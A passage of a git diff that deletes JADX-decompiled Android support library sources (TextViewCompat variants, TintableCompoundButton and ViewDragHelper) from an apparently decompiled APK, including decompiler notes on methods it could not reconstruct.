android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public int getMinLines(TextView textView) { - return TextViewCompatGingerbread.getMinLines(textView); - } - - @Override // android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setTextAppearance(TextView textView, int i) { - TextViewCompatGingerbread.setTextAppearance(textView, i); - } - - @Override // android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public Drawable[] getCompoundDrawablesRelative(TextView textView) { - return TextViewCompatGingerbread.getCompoundDrawablesRelative(textView); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JbTextViewCompatImpl extends BaseTextViewCompatImpl { - JbTextViewCompatImpl() { - } - - @Override // android.support.v4.widget.TextViewCompat.BaseTextViewCompatImpl, android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public int getMaxLines(TextView textView) { - return TextViewCompatJb.getMaxLines(textView); - } - - @Override // android.support.v4.widget.TextViewCompat.BaseTextViewCompatImpl, android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public int getMinLines(TextView textView) { - return TextViewCompatJb.getMinLines(textView); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JbMr1TextViewCompatImpl extends JbTextViewCompatImpl { - JbMr1TextViewCompatImpl() { - } - - @Override // android.support.v4.widget.TextViewCompat.BaseTextViewCompatImpl, android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setCompoundDrawablesRelative(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - TextViewCompatJbMr1.setCompoundDrawablesRelative(textView, drawable, drawable2, drawable3, drawable4); - } - - @Override // android.support.v4.widget.TextViewCompat.BaseTextViewCompatImpl, android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - TextViewCompatJbMr1.setCompoundDrawablesRelativeWithIntrinsicBounds(textView, drawable, drawable2, drawable3, drawable4); - } - - @Override // android.support.v4.widget.TextViewCompat.BaseTextViewCompatImpl, android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, int i, int i2, int i3, int i4) { - TextViewCompatJbMr1.setCompoundDrawablesRelativeWithIntrinsicBounds(textView, i, i2, i3, i4); - } - - @Override // android.support.v4.widget.TextViewCompat.BaseTextViewCompatImpl, android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public Drawable[] getCompoundDrawablesRelative(TextView textView) { - return TextViewCompatJbMr1.getCompoundDrawablesRelative(textView); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JbMr2TextViewCompatImpl extends JbMr1TextViewCompatImpl { - JbMr2TextViewCompatImpl() { - } - - @Override // android.support.v4.widget.TextViewCompat.JbMr1TextViewCompatImpl, android.support.v4.widget.TextViewCompat.BaseTextViewCompatImpl, android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setCompoundDrawablesRelative(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - TextViewCompatJbMr2.setCompoundDrawablesRelative(textView, drawable, drawable2, drawable3, drawable4); - } - - @Override // android.support.v4.widget.TextViewCompat.JbMr1TextViewCompatImpl, android.support.v4.widget.TextViewCompat.BaseTextViewCompatImpl, android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - TextViewCompatJbMr2.setCompoundDrawablesRelativeWithIntrinsicBounds(textView, drawable, drawable2, drawable3, drawable4); - } - - @Override // android.support.v4.widget.TextViewCompat.JbMr1TextViewCompatImpl, android.support.v4.widget.TextViewCompat.BaseTextViewCompatImpl, android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, int i, int i2, int i3, int i4) { - TextViewCompatJbMr2.setCompoundDrawablesRelativeWithIntrinsicBounds(textView, i, i2, i3, i4); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class Api23TextViewCompatImpl extends JbMr2TextViewCompatImpl { - Api23TextViewCompatImpl() { - } - - @Override // android.support.v4.widget.TextViewCompat.BaseTextViewCompatImpl, android.support.v4.widget.TextViewCompat.TextViewCompatImpl - public void setTextAppearance(TextView textView, int i) { - TextViewCompatApi23.setTextAppearance(textView, i); - } - } - - public static void setCompoundDrawablesRelative(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - IMPL.setCompoundDrawablesRelative(textView, drawable, drawable2, drawable3, drawable4); - } - - public static void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - IMPL.setCompoundDrawablesRelativeWithIntrinsicBounds(textView, drawable, drawable2, drawable3, drawable4); - } - - public static void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, int i, int i2, int i3, int i4) { - IMPL.setCompoundDrawablesRelativeWithIntrinsicBounds(textView, i, i2, i3, i4); - } - - public static int getMaxLines(TextView textView) { - return IMPL.getMaxLines(textView); - } - - public static int getMinLines(TextView textView) { - return IMPL.getMinLines(textView); - } - - public static void setTextAppearance(TextView textView, int i) { - IMPL.setTextAppearance(textView, i); - } - - public static Drawable[] getCompoundDrawablesRelative(TextView textView) { - return textView.getCompoundDrawables(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatApi23.java deleted file mode 100644 index e00e99e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatApi23.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.widget; - -import android.widget.TextView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TextViewCompatApi23 { - TextViewCompatApi23() { - } - - public static void setTextAppearance(TextView textView, int i) { - textView.setTextAppearance(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatGingerbread.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatGingerbread.java deleted file mode 100644 index 941843c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatGingerbread.java +++ /dev/null @@ -1,95 +0,0 @@ -package android.support.v4.widget; - -import android.graphics.drawable.Drawable; -import android.util.Log; -import android.widget.TextView; -import java.lang.reflect.Field; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TextViewCompatGingerbread { - private static final int LINES = 1; - private static final String LOG_TAG = "TextViewCompatGingerbread"; - private static Field sMaxModeField; - private static boolean sMaxModeFieldFetched; - private static Field sMaximumField; - private static boolean sMaximumFieldFetched; - private static Field sMinModeField; - private static boolean sMinModeFieldFetched; - private static Field sMinimumField; - private static boolean sMinimumFieldFetched; - - TextViewCompatGingerbread() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getMaxLines(TextView textView) { - if (!sMaxModeFieldFetched) { - sMaxModeField = retrieveField("mMaxMode"); - sMaxModeFieldFetched = true; - } - Field field = sMaxModeField; - if (field == null || retrieveIntFromField(field, textView) != 1) { - return -1; - } - if (!sMaximumFieldFetched) { - sMaximumField = retrieveField("mMaximum"); - sMaximumFieldFetched = true; - } - Field field2 = sMaximumField; - if (field2 != null) { - return retrieveIntFromField(field2, textView); - } - return -1; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getMinLines(TextView textView) { - if (!sMinModeFieldFetched) { - sMinModeField = retrieveField("mMinMode"); - sMinModeFieldFetched = true; - } - Field field = sMinModeField; - if (field == null || retrieveIntFromField(field, textView) != 1) { - return -1; - } - if (!sMinimumFieldFetched) { - sMinimumField = retrieveField("mMinimum"); - sMinimumFieldFetched = true; - } - Field field2 = sMinimumField; - if (field2 != null) { - return retrieveIntFromField(field2, textView); - } - return -1; - } - - private static Field retrieveField(String str) { - Field field = null; - try { - field = TextView.class.getDeclaredField(str); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException unused) { - Log.e(LOG_TAG, "Could not retrieve " + str + " field."); - return field; - } - } - - private static int retrieveIntFromField(Field field, TextView textView) { - try { - return field.getInt(textView); - } catch (IllegalAccessException unused) { - Log.d(LOG_TAG, "Could not retrieve value of " + field.getName() + " field."); - return -1; - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setTextAppearance(TextView textView, int i) { - textView.setTextAppearance(textView.getContext(), i); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Drawable[] getCompoundDrawablesRelative(TextView textView) { - return textView.getCompoundDrawables(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatJb.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatJb.java deleted file mode 100644 index 9ed1a09..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatJb.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.v4.widget; - -import android.widget.TextView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TextViewCompatJb { - TextViewCompatJb() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getMaxLines(TextView textView) { - return textView.getMaxLines(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getMinLines(TextView textView) { - return textView.getMinLines(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatJbMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatJbMr1.java deleted file mode 100644 index 990c69e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatJbMr1.java +++ /dev/null @@ -1,41 +0,0 @@ -package android.support.v4.widget; - -import android.graphics.drawable.Drawable; -import android.widget.TextView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TextViewCompatJbMr1 { - TextViewCompatJbMr1() { - } - - public static void setCompoundDrawablesRelative(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - boolean z = textView.getLayoutDirection() == 1; - Drawable drawable5 = z ? drawable3 : drawable; - if (!z) { - drawable = drawable3; - } - textView.setCompoundDrawables(drawable5, drawable2, drawable, drawable4); - } - - public static void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - boolean z = textView.getLayoutDirection() == 1; - Drawable drawable5 = z ? drawable3 : drawable; - if (!z) { - drawable = drawable3; - } - textView.setCompoundDrawablesWithIntrinsicBounds(drawable5, drawable2, drawable, drawable4); - } - - public static void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, int i, int i2, int i3, int i4) { - boolean z = textView.getLayoutDirection() == 1; - int i5 = z ? i3 : i; - if (!z) { - i = i3; - } - textView.setCompoundDrawablesWithIntrinsicBounds(i5, i2, i, i4); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Drawable[] getCompoundDrawablesRelative(TextView textView) { - return textView.getCompoundDrawablesRelative(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatJbMr2.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatJbMr2.java deleted file mode 100644 index c986924..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/TextViewCompatJbMr2.java +++ /dev/null @@ -1,21 +0,0 @@ -package android.support.v4.widget; - -import android.graphics.drawable.Drawable; -import android.widget.TextView; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TextViewCompatJbMr2 { - TextViewCompatJbMr2() { - } - - public static void setCompoundDrawablesRelative(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - textView.setCompoundDrawablesRelative(drawable, drawable2, drawable3, drawable4); - } - - public static void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, Drawable drawable, Drawable drawable2, Drawable drawable3, Drawable drawable4) { - textView.setCompoundDrawablesRelativeWithIntrinsicBounds(drawable, drawable2, drawable3, drawable4); - } - - public static void setCompoundDrawablesRelativeWithIntrinsicBounds(TextView textView, int i, int i2, int i3, int i4) { - textView.setCompoundDrawablesRelativeWithIntrinsicBounds(i, i2, i3, i4); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/TintableCompoundButton.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/TintableCompoundButton.java deleted file mode 100644 index d7bfa32..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/TintableCompoundButton.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.widget; - -import android.content.res.ColorStateList; -import android.graphics.PorterDuff; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface TintableCompoundButton { - ColorStateList getSupportButtonTintList(); - - PorterDuff.Mode getSupportButtonTintMode(); - - void setSupportButtonTintList(ColorStateList colorStateList); - - void setSupportButtonTintMode(PorterDuff.Mode mode); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ViewDragHelper.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ViewDragHelper.java deleted file mode 100644 index 18c89c4..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ViewDragHelper.java +++ /dev/null @@ -1,719 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.support.v4.view.VelocityTrackerCompat; -import android.support.v4.view.ViewCompat; -import android.util.Log; -import android.view.MotionEvent; -import android.view.VelocityTracker; -import android.view.View; -import android.view.ViewConfiguration; -import android.view.ViewGroup; -import android.view.animation.Interpolator; -import java.util.Arrays; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ViewDragHelper { - private static final int BASE_SETTLE_DURATION = 256; - public static final int DIRECTION_ALL = 3; - public static final int DIRECTION_HORIZONTAL = 1; - public static final int DIRECTION_VERTICAL = 2; - public static final int EDGE_ALL = 15; - public static final int EDGE_BOTTOM = 8; - public static final int EDGE_LEFT = 1; - public static final int EDGE_RIGHT = 2; - private static final int EDGE_SIZE = 20; - public static final int EDGE_TOP = 4; - public static final int INVALID_POINTER = -1; - private static final int MAX_SETTLE_DURATION = 600; - public static final int STATE_DRAGGING = 1; - public static final int STATE_IDLE = 0; - public static final int STATE_SETTLING = 2; - private static final String TAG = "ViewDragHelper"; - private static final Interpolator sInterpolator = new Interpolator() { // from class: android.support.v4.widget.ViewDragHelper.1 - @Override // android.animation.TimeInterpolator - public float getInterpolation(float f) { - float f2 = f - 1.0f; - return (f2 * f2 * f2 * f2 * f2) + 1.0f; - } - }; - private final Callback mCallback; - private View mCapturedView; - private int mDragState; - private int[] mEdgeDragsInProgress; - private int[] mEdgeDragsLocked; - private int mEdgeSize; - private int[] mInitialEdgesTouched; - private float[] mInitialMotionX; - private float[] mInitialMotionY; - private float[] mLastMotionX; - private float[] mLastMotionY; - private float mMaxVelocity; - private float mMinVelocity; - private final ViewGroup mParentView; - private int mPointersDown; - private boolean mReleaseInProgress; - private ScrollerCompat mScroller; - private int mTouchSlop; - private int mTrackingEdges; - private VelocityTracker mVelocityTracker; - private int mActivePointerId = -1; - private final Runnable mSetIdleRunnable = new Runnable() { // from class: android.support.v4.widget.ViewDragHelper.2 - @Override // java.lang.Runnable - public void run() { - ViewDragHelper.this.setDragState(0); - } - }; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class Callback { - public int clampViewPositionHorizontal(View view, int i, int i2) { - return 0; - } - - public int clampViewPositionVertical(View view, int i, int i2) { - return 0; - } - - public int getOrderedChildIndex(int i) { - return i; - } - - public int getViewHorizontalDragRange(View view) { - return 0; - } - - public int getViewVerticalDragRange(View view) { - return 0; - } - - public void onEdgeDragStarted(int i, int i2) { - } - - public boolean onEdgeLock(int i) { - return false; - } - - public void onEdgeTouched(int i, int i2) { - } - - public void onViewCaptured(View view, int i) { - } - - public void onViewDragStateChanged(int i) { - } - - public void onViewPositionChanged(View view, int i, int i2, int i3, int i4) { - } - - public void onViewReleased(View view, float f, float f2) { - } - - public abstract boolean tryCaptureView(View view, int i); - } - - public static ViewDragHelper create(ViewGroup viewGroup, Callback callback) { - return new ViewDragHelper(viewGroup.getContext(), viewGroup, callback); - } - - public static ViewDragHelper create(ViewGroup viewGroup, float f, Callback callback) { - ViewDragHelper create = create(viewGroup, callback); - create.mTouchSlop = (int) (create.mTouchSlop * (1.0f / f)); - return create; - } - - private ViewDragHelper(Context context, ViewGroup viewGroup, Callback callback) { - if (viewGroup == null) { - throw new IllegalArgumentException("Parent view may not be null"); - } - if (callback == null) { - throw new IllegalArgumentException("Callback may not be null"); - } - this.mParentView = viewGroup; - this.mCallback = callback; - ViewConfiguration viewConfiguration = ViewConfiguration.get(context); - this.mEdgeSize = (int) ((context.getResources().getDisplayMetrics().density * 20.0f) + 0.5f); - this.mTouchSlop = viewConfiguration.getScaledTouchSlop(); - this.mMaxVelocity = viewConfiguration.getScaledMaximumFlingVelocity(); - this.mMinVelocity = viewConfiguration.getScaledMinimumFlingVelocity(); - this.mScroller = ScrollerCompat.create(context, sInterpolator); - } - - public void setMinVelocity(float f) { - this.mMinVelocity = f; - } - - public float getMinVelocity() { - return this.mMinVelocity; - } - - public int getViewDragState() { - return this.mDragState; - } - - public void setEdgeTrackingEnabled(int i) { - this.mTrackingEdges = i; - } - - public int getEdgeSize() { - return this.mEdgeSize; - } - - public void captureChildView(View view, int i) { - if (view.getParent() != this.mParentView) { - throw new IllegalArgumentException("captureChildView: parameter must be a descendant of the ViewDragHelper's tracked parent view (" + this.mParentView + ")"); - } - this.mCapturedView = view; - this.mActivePointerId = i; - this.mCallback.onViewCaptured(view, i); - setDragState(1); - } - - public View getCapturedView() { - return this.mCapturedView; - } - - public int getActivePointerId() { - return this.mActivePointerId; - } - - public int getTouchSlop() { - return this.mTouchSlop; - } - - public void cancel() { - this.mActivePointerId = -1; - clearMotionHistory(); - VelocityTracker velocityTracker = this.mVelocityTracker; - if (velocityTracker != null) { - velocityTracker.recycle(); - this.mVelocityTracker = null; - } - } - - public void abort() { - cancel(); - if (this.mDragState == 2) { - int currX = this.mScroller.getCurrX(); - int currY = this.mScroller.getCurrY(); - this.mScroller.abortAnimation(); - int currX2 = this.mScroller.getCurrX(); - int currY2 = this.mScroller.getCurrY(); - this.mCallback.onViewPositionChanged(this.mCapturedView, currX2, currY2, currX2 - currX, currY2 - currY); - } - setDragState(0); - } - - public boolean smoothSlideViewTo(View view, int i, int i2) { - this.mCapturedView = view; - this.mActivePointerId = -1; - boolean forceSettleCapturedViewAt = forceSettleCapturedViewAt(i, i2, 0, 0); - if (!forceSettleCapturedViewAt && this.mDragState == 0 && this.mCapturedView != null) { - this.mCapturedView = null; - } - return forceSettleCapturedViewAt; - } - - public boolean settleCapturedViewAt(int i, int i2) { - if (!this.mReleaseInProgress) { - throw new IllegalStateException("Cannot settleCapturedViewAt outside of a call to Callback#onViewReleased"); - } - return forceSettleCapturedViewAt(i, i2, (int) VelocityTrackerCompat.getXVelocity(this.mVelocityTracker, this.mActivePointerId), (int) VelocityTrackerCompat.getYVelocity(this.mVelocityTracker, this.mActivePointerId)); - } - - private boolean forceSettleCapturedViewAt(int i, int i2, int i3, int i4) { - int left = this.mCapturedView.getLeft(); - int top = this.mCapturedView.getTop(); - int i5 = i - left; - int i6 = i2 - top; - if (i5 == 0 && i6 == 0) { - this.mScroller.abortAnimation(); - setDragState(0); - return false; - } - this.mScroller.startScroll(left, top, i5, i6, computeSettleDuration(this.mCapturedView, i5, i6, i3, i4)); - setDragState(2); - return true; - } - - private int computeSettleDuration(View view, int i, int i2, int i3, int i4) { - float f; - float f2; - float f3; - float f4; - int clampMag = clampMag(i3, (int) this.mMinVelocity, (int) this.mMaxVelocity); - int clampMag2 = clampMag(i4, (int) this.mMinVelocity, (int) this.mMaxVelocity); - int abs = Math.abs(i); - int abs2 = Math.abs(i2); - int abs3 = Math.abs(clampMag); - int abs4 = Math.abs(clampMag2); - int i5 = abs3 + abs4; - int i6 = abs + abs2; - if (clampMag != 0) { - f = abs3; - f2 = i5; - } else { - f = abs; - f2 = i6; - } - float f5 = f / f2; - if (clampMag2 != 0) { - f3 = abs4; - f4 = i5; - } else { - f3 = abs2; - f4 = i6; - } - return (int) ((computeAxisDuration(i, clampMag, this.mCallback.getViewHorizontalDragRange(view)) * f5) + (computeAxisDuration(i2, clampMag2, this.mCallback.getViewVerticalDragRange(view)) * (f3 / f4))); - } - - private int computeAxisDuration(int i, int i2, int i3) { - int abs; - if (i == 0) { - return 0; - } - int width = this.mParentView.getWidth(); - float f = width / 2; - float distanceInfluenceForSnapDuration = f + (distanceInfluenceForSnapDuration(Math.min(1.0f, Math.abs(i) / width)) * f); - int abs2 = Math.abs(i2); - if (abs2 > 0) { - abs = Math.round(Math.abs(distanceInfluenceForSnapDuration / abs2) * 1000.0f) * 4; - } else { - abs = (int) (((Math.abs(i) / i3) + 1.0f) * 256.0f); - } - return Math.min(abs, (int) MAX_SETTLE_DURATION); - } - - private int clampMag(int i, int i2, int i3) { - int abs = Math.abs(i); - if (abs < i2) { - return 0; - } - return abs > i3 ? i > 0 ? i3 : -i3 : i; - } - - private float clampMag(float f, float f2, float f3) { - float abs = Math.abs(f); - if (abs < f2) { - return 0.0f; - } - return abs > f3 ? f > 0.0f ? f3 : -f3 : f; - } - - private float distanceInfluenceForSnapDuration(float f) { - return (float) Math.sin((float) ((f - 0.5f) * 0.4712389167638204d)); - } - - public void flingCapturedView(int i, int i2, int i3, int i4) { - if (!this.mReleaseInProgress) { - throw new IllegalStateException("Cannot flingCapturedView outside of a call to Callback#onViewReleased"); - } - this.mScroller.fling(this.mCapturedView.getLeft(), this.mCapturedView.getTop(), (int) VelocityTrackerCompat.getXVelocity(this.mVelocityTracker, this.mActivePointerId), (int) VelocityTrackerCompat.getYVelocity(this.mVelocityTracker, this.mActivePointerId), i, i3, i2, i4); - setDragState(2); - } - - /* JADX WARN: Code restructure failed: missing block: B:18:0x005b, code lost: - if (r0 == false) goto L16; - */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public boolean continueSettling(boolean r12) { - /* - r11 = this; - int r0 = r11.mDragState - r1 = 0 - r2 = 2 - if (r0 != r2) goto L6a - android.support.v4.widget.ScrollerCompat r0 = r11.mScroller - boolean r0 = r0.computeScrollOffset() - android.support.v4.widget.ScrollerCompat r3 = r11.mScroller - int r3 = r3.getCurrX() - android.support.v4.widget.ScrollerCompat r4 = r11.mScroller - int r10 = r4.getCurrY() - android.view.View r4 = r11.mCapturedView - int r4 = r4.getLeft() - int r8 = r3 - r4 - android.view.View r4 = r11.mCapturedView - int r4 = r4.getTop() - int r9 = r10 - r4 - if (r8 == 0) goto L2f - android.view.View r4 = r11.mCapturedView - android.support.v4.view.ViewCompat.offsetLeftAndRight(r4, r8) - L2f: - if (r9 == 0) goto L36 - android.view.View r4 = r11.mCapturedView - android.support.v4.view.ViewCompat.offsetTopAndBottom(r4, r9) - L36: - if (r8 != 0) goto L3a - if (r9 == 0) goto L43 - L3a: - android.support.v4.widget.ViewDragHelper$Callback r4 = r11.mCallback - android.view.View r5 = r11.mCapturedView - r6 = r3 - r7 = r10 - r4.onViewPositionChanged(r5, r6, r7, r8, r9) - L43: - if (r0 == 0) goto L5b - android.support.v4.widget.ScrollerCompat r4 = r11.mScroller - int r4 = r4.getFinalX() - if (r3 != r4) goto L5b - android.support.v4.widget.ScrollerCompat r3 = r11.mScroller - int r3 = r3.getFinalY() - if (r10 != r3) goto L5b - android.support.v4.widget.ScrollerCompat r0 = r11.mScroller - r0.abortAnimation() - goto L5d - L5b: - if (r0 != 0) goto L6a - L5d: - if (r12 == 0) goto L67 - android.view.ViewGroup r12 = r11.mParentView - java.lang.Runnable r0 = r11.mSetIdleRunnable - r12.post(r0) - goto L6a - L67: - r11.setDragState(r1) - L6a: - int r12 = r11.mDragState - if (r12 != r2) goto L6f - r1 = 1 - L6f: - return r1 - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.widget.ViewDragHelper.continueSettling(boolean):boolean"); - } - - private void dispatchViewReleased(float f, float f2) { - this.mReleaseInProgress = true; - this.mCallback.onViewReleased(this.mCapturedView, f, f2); - this.mReleaseInProgress = false; - if (this.mDragState == 1) { - setDragState(0); - } - } - - private void clearMotionHistory() { - float[] fArr = this.mInitialMotionX; - if (fArr == null) { - return; - } - Arrays.fill(fArr, 0.0f); - Arrays.fill(this.mInitialMotionY, 0.0f); - Arrays.fill(this.mLastMotionX, 0.0f); - Arrays.fill(this.mLastMotionY, 0.0f); - Arrays.fill(this.mInitialEdgesTouched, 0); - Arrays.fill(this.mEdgeDragsInProgress, 0); - Arrays.fill(this.mEdgeDragsLocked, 0); - this.mPointersDown = 0; - } - - private void clearMotionHistory(int i) { - if (this.mInitialMotionX == null || !isPointerDown(i)) { - return; - } - this.mInitialMotionX[i] = 0.0f; - this.mInitialMotionY[i] = 0.0f; - this.mLastMotionX[i] = 0.0f; - this.mLastMotionY[i] = 0.0f; - this.mInitialEdgesTouched[i] = 0; - this.mEdgeDragsInProgress[i] = 0; - this.mEdgeDragsLocked[i] = 0; - this.mPointersDown = (~(1 << i)) & this.mPointersDown; - } - - private void ensureMotionHistorySizeForId(int i) { - float[] fArr = this.mInitialMotionX; - if (fArr == null || fArr.length <= i) { - int i2 = i + 1; - float[] fArr2 = new float[i2]; - float[] fArr3 = new float[i2]; - float[] fArr4 = new float[i2]; - float[] fArr5 = new float[i2]; - int[] iArr = new int[i2]; - int[] iArr2 = new int[i2]; - int[] iArr3 = new int[i2]; - if (fArr != null) { - System.arraycopy(fArr, 0, fArr2, 0, fArr.length); - float[] fArr6 = this.mInitialMotionY; - System.arraycopy(fArr6, 0, fArr3, 0, fArr6.length); - float[] fArr7 = this.mLastMotionX; - System.arraycopy(fArr7, 0, fArr4, 0, fArr7.length); - float[] fArr8 = this.mLastMotionY; - System.arraycopy(fArr8, 0, fArr5, 0, fArr8.length); - int[] iArr4 = this.mInitialEdgesTouched; - System.arraycopy(iArr4, 0, iArr, 0, iArr4.length); - int[] iArr5 = this.mEdgeDragsInProgress; - System.arraycopy(iArr5, 0, iArr2, 0, iArr5.length); - int[] iArr6 = this.mEdgeDragsLocked; - System.arraycopy(iArr6, 0, iArr3, 0, iArr6.length); - } - this.mInitialMotionX = fArr2; - this.mInitialMotionY = fArr3; - this.mLastMotionX = fArr4; - this.mLastMotionY = fArr5; - this.mInitialEdgesTouched = iArr; - this.mEdgeDragsInProgress = iArr2; - this.mEdgeDragsLocked = iArr3; - } - } - - private void saveInitialMotion(float f, float f2, int i) { - ensureMotionHistorySizeForId(i); - float[] fArr = this.mInitialMotionX; - this.mLastMotionX[i] = f; - fArr[i] = f; - float[] fArr2 = this.mInitialMotionY; - this.mLastMotionY[i] = f2; - fArr2[i] = f2; - this.mInitialEdgesTouched[i] = getEdgesTouched((int) f, (int) f2); - this.mPointersDown |= 1 << i; - } - - private void saveLastMotion(MotionEvent motionEvent) { - int pointerCount = motionEvent.getPointerCount(); - for (int i = 0; i < pointerCount; i++) { - int pointerId = motionEvent.getPointerId(i); - if (isValidPointerForActionMove(pointerId)) { - float x = motionEvent.getX(i); - float y = motionEvent.getY(i); - this.mLastMotionX[pointerId] = x; - this.mLastMotionY[pointerId] = y; - } - } - } - - public boolean isPointerDown(int i) { - return ((1 << i) & this.mPointersDown) != 0; - } - - void setDragState(int i) { - this.mParentView.removeCallbacks(this.mSetIdleRunnable); - if (this.mDragState != i) { - this.mDragState = i; - this.mCallback.onViewDragStateChanged(i); - if (this.mDragState == 0) { - this.mCapturedView = null; - } - } - } - - boolean tryCaptureViewForDrag(View view, int i) { - if (view == this.mCapturedView && this.mActivePointerId == i) { - return true; - } - if (view == null || !this.mCallback.tryCaptureView(view, i)) { - return false; - } - this.mActivePointerId = i; - captureChildView(view, i); - return true; - } - - protected boolean canScroll(View view, boolean z, int i, int i2, int i3, int i4) { - int i5; - if (view instanceof ViewGroup) { - ViewGroup viewGroup = (ViewGroup) view; - int scrollX = view.getScrollX(); - int scrollY = view.getScrollY(); - for (int childCount = viewGroup.getChildCount() - 1; childCount >= 0; childCount--) { - View childAt = viewGroup.getChildAt(childCount); - int i6 = i3 + scrollX; - if (i6 >= childAt.getLeft() && i6 < childAt.getRight() && (i5 = i4 + scrollY) >= childAt.getTop() && i5 < childAt.getBottom() && canScroll(childAt, true, i, i2, i6 - childAt.getLeft(), i5 - childAt.getTop())) { - return true; - } - } - } - return z && (ViewCompat.canScrollHorizontally(view, -i) || ViewCompat.canScrollVertically(view, -i2)); - } - - /* JADX WARN: Code restructure failed: missing block: B:49:0x00dd, code lost: - if (r12 != r11) goto L58; - */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public boolean shouldInterceptTouchEvent(android.view.MotionEvent r17) { - /* - Method dump skipped, instructions count: 315 - To view this dump add '--comments-level debug' option - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.widget.ViewDragHelper.shouldInterceptTouchEvent(android.view.MotionEvent):boolean"); - } - - /* JADX WARN: Code restructure failed: missing block: B:35:0x0066, code lost: - if (r9.mActivePointerId == (-1)) goto L34; - */ - /* JADX WARN: Code restructure failed: missing block: B:38:0x006c, code lost: - releaseViewForPointerUp(); - */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public void processTouchEvent(android.view.MotionEvent r10) { - /* - Method dump skipped, instructions count: 377 - To view this dump add '--comments-level debug' option - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.widget.ViewDragHelper.processTouchEvent(android.view.MotionEvent):void"); - } - - 